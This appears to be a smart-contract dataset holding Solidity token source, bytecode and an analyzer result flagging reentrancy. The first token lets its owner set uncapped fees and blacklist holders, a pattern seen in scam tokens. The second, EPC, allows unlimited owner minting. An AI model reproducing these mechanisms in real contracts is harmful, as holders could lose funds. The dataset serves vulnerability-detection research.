function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f046146104e9578063dd62ed3e14610509578063ea1644d51461054f578063f2fde38b1461056f57600080fd5b8063a2a957bb14610464578063a9059cbb14610484578063bfd79284146104a4578063c3c8cd80146104d457600080fd5b80638f70ccf7116100d15780638f70ccf71461040e5780638f9a55c01461042e57806395d89b41146101f357806398a5c3151461044457600080fd5b806374010ece146103ba5780637d1db4a5146103da5780638da5cb5b146103f057600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103505780636fc3eaec1461037057806370a0823114610385578063715018a6146103a557600080fd5b8063313ce567146102f457806349bd5a5e146103105780636b9990531461033057600080fd5b80631694505e116101a05780631694505e1461026257806318160ddd1461029a57806323b872dd146102be5780632fd689e3146102de57600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023257600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab3565b61058f565b005b3480156101ff57600080fd5b5060408051808201825260078152664341544f53484960c81b602082015290516102299190611bdd565b60405180910390f35b34801561023e57600080fd5b5061025261024d366004611a09565b61063c565b6040519015158152602001610229565b34801561026e57600080fd5b50601454610282906001600160a01b031681565b6040516001600160a01b039091168152602001610229565b3480156102a657600080fd5b50662386f26fc100005b604051908152602001610229565b3480156102ca57600080fd5b506102526102d93660046119c9565b610653565b3480156102ea57600080fd5b506102b060185481565b34801561030057600080fd5b5060405160098152602001610229565b34801561031c57600080fd5b50601554610282906001600160a01b031681565b34801561033c57600080fd5b506101f161034b366004611959565b6106bc565b34801561035c57600080fd5b506101f161036b366004611b7a565b610707565b34801561037c57600080fd5b506101f161074f565b34801561039157600080fd5b506102b06103a0366004611959565b61079a565b3480156103b157600080fd5b506101f16107bc565b3480156103c657600080fd5b506101f16103d5366004611b94565b610830565b3480156103e657600080fd5b506102b060165481565b3480156103fc57600080fd5b506000546001600160a01b0316610282565b34801561041a57600080fd5b506101f1610429366004611b7a565b61085f565b34801561043a57600080fd5b506102b060175481565b34801561045057600080fd5b506101f161045f366004611b94565b6108a7565b34801561047057600080fd5b506101f161047f366004611bac565b6108d6565b34801561049057600080fd5b5061025261049f366004611a09565b610914565b3480156104b057600080fd5b506102526104bf366004611959565b60106020526000908152604090205460ff1681565b3480156104e057600080fd5b506101f1610921565b3480156104f557600080fd5b506101f1610504366004611a34565b610975565b34801561051557600080fd5b506102b0610524366004611991565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561055b57600080fd5b506101f161056a366004611b94565b610a24565b34801561057b57600080fd5b506101f161058a366004611959565b610a53565b6000546001600160a01b031633146105c25760405162461bcd60e51b81526004016105b990611c30565b60405180910390fd5b60005b8151811015610638576001601060008484815181106105f457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063081611d43565b9150506105c5565b5050565b6000610649338484610b3d565b5060015b92915050565b6000610660848484610c61565b6106b284336106ad85604051806060016040528060288152602001611da0602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061119d565b610b3d565b5060019392505050565b6000546001600160a01b031633146106e65760405162461bcd60e51b81526004016105b990611c30565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107315760405162461bcd60e51b81526004016105b990611c30565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061078457506013546001600160a01b0316336001600160a01b0316145b61078d57600080fd5b47610797816111d7565b50565b6001600160a01b03811660009081526002602052604081205461064d9061125c565b6000546001600160a01b031633146107e65760405162461bcd60e51b81526004016105b990611c30565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461085a5760405162461bcd60e51b81526004016105b990611c30565b601655565b6000546001600160a01b031633146108895760405162461bcd60e51b81526004016105b990611c30565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108d15760405162461bcd60e51b81526004016105b990611c30565b601855565b6000546001600160a01b031633146109005760405162461bcd60e51b81526004016105b990611c30565b600893909355600a91909155600955600b55565b6000610649338484610c61565b6012546001600160a01b0316336001600160a01b0316148061095657506013546001600160a01b0316336001600160a01b0316145b61095f57600080fd5b600061096a3061079a565b9050610797816112e0565b6000546001600160a01b0316331461099f5760405162461bcd60e51b81526004016105b990611c30565b60005b82811015610a1e5781600560008686858181106109cf57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906109e49190611959565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a1681611d43565b9150506109a2565b50505050565b6000546001600160a01b03163314610a4e5760405162461bcd60e51b81526004016105b990611c30565b601755565b6000546001600160a01b03163314610a7d5760405162461bcd60e51b81526004016105b990611c30565b6001600160a01b038116610ae25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b9f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b9565b6001600160a01b038216610c005760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b9565b6001600160a01b038216610d275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b9565b60008111610d895760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b9565b6000546001600160a01b03848116911614801590610db557506000546001600160a01b03838116911614155b1561109657601554600160a01b900460ff16610e4e576000546001600160a01b03848116911614610e4e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105b9565b601654811115610ea05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105b9565b6001600160a01b03831660009081526010602052604090205460ff16158015610ee257506001600160a01b03821660009081526010602052604090205460ff16155b610f3a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105b9565b6015546001600160a01b03838116911614610fbf5760175481610f5c8461079a565b610f669190611cd5565b10610fbf5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105b9565b6000610fca3061079a565b601854601654919250821015908210610fe35760165491505b808015610ffa5750601554600160a81b900460ff16155b801561101457506015546001600160a01b03868116911614155b80156110295750601554600160b01b900460ff165b801561104e57506001600160a01b03851660009081526005602052604090205460ff16155b801561107357506001600160a01b03841660009081526005602052604090205460ff16155b1561109357611081826112e0565b47801561109157611091476111d7565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110d857506001600160a01b03831660009081526005602052604090205460ff165b8061110a57506015546001600160a01b0385811691161480159061110a57506015546001600160a01b03848116911614155b1561111757506000611191565b6015546001600160a01b03858116911614801561114257506014546001600160a01b03848116911614155b1561115457600854600c55600954600d555b6015546001600160a01b03848116911614801561117f57506014546001600160a01b03858116911614155b1561119157600a54600c55600b54600d555b610a1e84848484611485565b600081848411156111c15760405162461bcd60e51b81526004016105b99190611bdd565b5060006111ce8486611d2c565b95945050505050565b6012546001600160a01b03166108fc6111f18360026114b3565b6040518115909202916000818181858888f19350505050158015611219573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112348360026114b3565b6040518115909202916000818181858888f19350505050158015610638573d6000803e3d6000fd5b60006006548211156112c35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105b9565b60006112cd6114f5565b90506112d983826114b3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138a57600080fd5b505afa15801561139e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c29190611975565b816001815181106113e357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114099130911684610b3d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611442908590600090869030904290600401611c65565b600060405180830381600087803b15801561145c57600080fd5b505af1158015611470573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061149257611492611518565b61149d848484611546565b80610a1e57610a1e600e54600c55600f54600d55565b60006112d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163d565b600080600061150261166b565b909250905061151182826114b3565b9250505090565b600c541580156115285750600d54155b1561152f57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611558876116a9565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158a9087611706565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b99086611748565b6001600160a01b0389166000908152600260205260409020556115db816117a7565b6115e584836117f1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162a91815260200190565b60405180910390a3505050505050505050565b6000818361165e5760405162461bcd60e51b81526004016105b99190611bdd565b5060006111ce8486611ced565b6006546000908190662386f26fc1000061168582826114b3565b8210156116a057505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c68a600c54600d54611815565b92509250925060006116d66114f5565b905060008060006116e98e87878761186a565b919e509c509a509598509396509194505050505091939550919395565b60006112d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061119d565b6000806117558385611cd5565b9050838110156112d95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b9565b60006117b16114f5565b905060006117bf83836118ba565b306000908152600260205260409020549091506117dc9082611748565b30600090815260026020526040902055505050565b6006546117fe9083611706565b60065560075461180e9082611748565b6007555050565b600080808061182f606461182989896118ba565b906114b3565b9050600061184260646118298a896118ba565b9050600061185a826118548b86611706565b90611706565b9992985090965090945050505050565b600080808061187988866118ba565b9050600061188788876118ba565b9050600061189588886118ba565b905060006118a7826118548686611706565b939b939a50919850919650505050505050565b6000826118c95750600061064d565b60006118d58385611d0d565b9050826118e28583611ced565b146112d95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b9565b803561194481611d8a565b919050565b8035801515811461194457600080fd5b60006020828403121561196a578081fd5b81356112d981611d8a565b600060208284031215611986578081fd5b81516112d981611d8a565b600080604083850312156119a3578081fd5b82356119ae81611d8a565b915060208301356119be81611d8a565b809150509250929050565b6000806000606084860312156119dd578081fd5b83356119e881611d8a565b925060208401356119f881611d8a565b929592945050506040919091013590565b60008060408385031215611a1b578182fd5b8235611a2681611d8a565b946020939093013593505050565b600080600060408486031215611a48578283fd5b833567ffffffffffffffff80821115611a5f578485fd5b818601915086601f830112611a72578485fd5b813581811115611a80578586fd5b8760208260051b8501011115611a94578586fd5b602092830195509350611aaa9186019050611949565b90509250925092565b60006020808385031215611ac5578182fd5b823567ffffffffffffffff80821115611adc578384fd5b818501915085601f830112611aef578384fd5b813581811115611b0157611b01611d74565b8060051b604051601f19603f83011681018181108582111715611b2657611b26611d74565b604052828152858101935084860182860187018a1015611b44578788fd5b8795505b83861015611b6d57611b5981611939565b855260019590950194938601938601611b48565b5098975050505050505050565b600060208284031215611b8b578081fd5b6112d982611949565b600060208284031215611ba5578081fd5b5035919050565b60008060008060808587031215611bc1578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c0957858101830151858201604001528201611bed565b81811115611c1a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cb45784516001600160a01b031683529383019391830191600101611c8f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ce857611ce8611d5e565b500190565b600082611d0857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2757611d27611d5e565b500290565b600082821015611d3e57611d3e611d5e565b500390565b6000600019821415611d5757611d57611d5e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461079757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208a48f58bf217b4d081d711c36083a99f2a6692948cf390ada77c6dcd70abba4164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,378 |
0xc376d91465494975963676a22ad892720bab7f44
|
pragma solidity >=0.4.22 <0.6.0;
/**
* @title ERC20Basic
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Addpublish(address indexed from, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
address owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
uint256 public totalSupplyN;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupplyN;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
uint8 public constant decimals = 18;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Burn token by Owner.
* @param _value The amount of tokens to burn the by Owner.
*/
function burn(uint256 _value) onlyOwner public {
require(totalSupplyN >= _value * 10 ** uint256(decimals));
balances[msg.sender] -= _value * 10 ** uint256(decimals);
totalSupplyN -= _value * 10 ** uint256(decimals);
emit Burn(msg.sender, _value * 10 ** uint256(decimals));
//emit Transfer(address(this), msg.sender, -(amount * 10 ** uint256(decimals)));
}
/**
* @dev AddPublish token by Owner.
* @param _value The amount of tokens to add the by Owner.
*/
function addPublish(uint256 _value) onlyOwner public {
totalSupplyN += _value * 10 ** uint256(decimals);
balances[msg.sender] += _value * 10 ** uint256(decimals);
emit Addpublish(msg.sender, _value * (10 ** uint256(decimals)));
emit Transfer(address(this), msg.sender, (_value * 10 ** uint256(decimals)));
}
}
/**
* @title create EPC token
*/
contract EPC is StandardToken {
string public constant name = "epc"; // solium-disable-line uppercase
string public constant symbol = "EPC"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
//decided amount of tokens by Owner.
constructor ( uint256 _totalSupply ) public {
owner = msg.sender;
totalSupplyN = _totalSupply * 10 ** uint256(decimals);
balances[msg.sender] = totalSupplyN;
emit Transfer(address(this), msg.sender, totalSupplyN);
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c578063a9059cbb11610066578063a9059cbb1461042d578063b0623d0214610493578063d73dd623146104c1578063dd62ed3e14610527576100ea565b806370a082311461033457806395d89b411461038c578063a07d1a181461040f576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c57806342966c68146102a057806366188463146102ce576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f761059f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105d8565b604051808215151515815260200191505060405180910390f35b6101e06106ca565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106d4565b604051808215151515815260200191505060405180910390f35b610284610a88565b604051808260ff1660ff16815260200191505060405180910390f35b6102cc600480360360208110156102b657600080fd5b8101908080359060200190929190505050610a8d565b005b61031a600480360360408110156102e457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bc7565b604051808215151515815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e58565b6040518082815260200191505060405180910390f35b610394610ea0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d45780820151818401526020810190506103b9565b50505050905090810190601f1680156104015780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610417610ed9565b6040518082815260200191505060405180910390f35b6104796004803603604081101561044357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610edf565b604051808215151515815260200191505060405180910390f35b6104bf600480360360208110156104a957600080fd5b81019080803590602001909291905050506110fa565b005b61050d600480360360408110156104d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061128a565b604051808215151515815260200191505060405180910390f35b6105896004803603604081101561053d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611486565b6040518082815260200191505060405180910390f35b6040518060400160405280600381526020017f657063000000000000000000000000000000000000000000000000000000000081525081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561070f57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561075a57600080fd5b600460008573fffffffffffffffffffffffffff